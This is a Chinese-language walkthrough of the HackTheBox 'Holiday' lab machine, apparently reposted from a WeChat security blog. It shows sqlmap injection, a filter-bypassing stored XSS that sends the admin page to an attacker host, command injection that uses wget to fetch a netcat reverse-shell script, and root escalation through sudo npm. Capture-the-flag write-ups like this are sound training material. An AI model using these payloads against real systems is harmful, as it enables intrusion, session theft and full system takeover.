Skip to content

Latest commit

 

History

History
231 lines (124 loc) · 11.1 KB

HackTheBox-Linux-Holiday.md

File metadata and controls

231 lines (124 loc) · 11.1 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

一个每日分享渗透小技巧的公众号

大家好,这里是 大余安全 的第 104 篇文章,本公众号会每日分享攻防渗透技术给大家。

靶机地址:https://www.hackthebox.eu/home/machines/profile/22

靶机难度:初级(5.0/10)

靶机发布日期:2017 年 10 月 21 日

靶机描述:

Holiday is definitely one of the more challenging machines on HackTheBox. It touches on many different subjects and demonstrates the severity of stored XSS, which is leveraged to steal the session of an interactive user. The machine is very unique and provides an excellent learning experience.

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用 Kali Linux 作为解决该 HTB 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

可以看到靶机的 IP 是 10.10.10.25....

Nmap 发现开放了 OpenSSH 和 Node.js 服务..... 访问看看

前端没发现什么有用的信息... 爆破

发现了很多目录...

访问发现 login 存在用户登录页面... 利用 BP 拦截准备 sqlmap 注入...

sqlmap -r dayusql --level 5 --risk 3 -T users --dump --threads 10

通过最简单最暴力的 sqlmap 爆破,发现了用户名和 hash 密码...

通过页面解析获得了密码...

登陆后重定向到了一个页面,该页面看起来包含有用的信息... 点击 UUID 看看

进入表单 UUID 后,最下面提示了该注释必须批准所有注释,并且可能需要一分钟的时间,意味着某种用户交互,可能每分钟一次...

通过 N 种测试结果....

利用 note 函数,发现它是易受攻击的 xss 的,由于管理员正在阅读注释,因此 XSS 可用于获取管理 cookie 值... 要运行 xss 并运行有效负载,需要使用 JavaScript 函数 String.fromCharCode 绕过过滤器以运行有效负载... 开始...

payload = '''document.write('<script src="http://10.10.14.51/dayu.js"></script>');'''
','.join([str(ord(c)) for c in payload])

这里需要使用 JavaScript 函数 String.fromCharCode 绕过过滤器以运行有效负载,需要将字符串转换为 ASCII 代码..

这里利用了 python 转换...

<img src="x/><script>eval(String.fromCharCode(<payload>));</script>">

成功转换后利用 google 搜索到针对 JavaScript 的 XSS 的有效负载过滤器....

将转换的 ASCII 放入即可...

var url="http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65";
$.ajax({ method: "GET",url: url,success: function(data)
{ $.post("http://10.10.14.51:8000/", data);}});

首先通过最前面的测试,利用 cookie 简单编写了 cookie 的脚本... 主要获取 admin 或者 system 等高权限用户的 cookie...

然后通过 JavaScript 的 XSS 的有效负载过滤器成功获得了高权限的 cookie....

直接替换 cookie 即可... 这里可以利用 F12 调试或者 BP 拦截写入都可以...

替换刷新页面,出现了 admin 值... 这是 admin 的 cookie...

将 url 替换成 admin 后,成功的登陆到了 admin 管理页面... 继续分析...

在下载 notes 后,分析存在注入,可利用 notes 读取到该用户底层的信息以及还具有写入功能...

通过 BP 测试,果然是可注入的... 读取到了

这里测试了正常 IP 情况下,命令注入不生效... 且报错... 通过各种测试...

这里需要将 IP 为十进制!!!

将 IP 转换为十进制...

#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.51 5555 >/tmp/f
table=notes/%26wget+0x0a0a0e33/shell

通过简单的 shell 编写即可...

然后利用转换的 IP,通过 wget 上传 shell... 可看到成功上传!

继续利用 bash 执行 shell,成功获得了反向 shell... 获得了 user.txt 的 flag...

并 sudo 发现该用户利用 npm 无需密码即可以 root 用户身份运行...

方法 1:

直接利用 npm 获取 root.txt 的 flag....

mv package.json pack
ln -s /root/root.txt package.json
sudo /usr/bin/npm i *

直接利用 sudo 的提示,简单的执行写入即可读取到 root.txt 的 flag 信息...

方法 2:

google 搜索 npm 发现了提权 root 的 github...GO

https://github.com/joaojeronimo/rimrafall

找到了一种使用称为 rimrafall 的包来获得反向外壳的方法....

按照作者的解释,理解原理~~~

只需要修改目录信息... 利用 bash 直接提权目录文件为 root 权限... 成功获得了 root 权限获得了 root.txt 的 flag 信息...

这篇文件较难,主要为 XSS 那块~~

学到了很多... 中途测试了太多次... 注入注入在注入...

加油!!!

由于我们已经成功得到 root 权限查看 user 和 root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

随缘收徒中~~ 随缘收徒中~~ 随缘收徒中~~

欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

大余安全

一个全栈渗透小技巧的公众号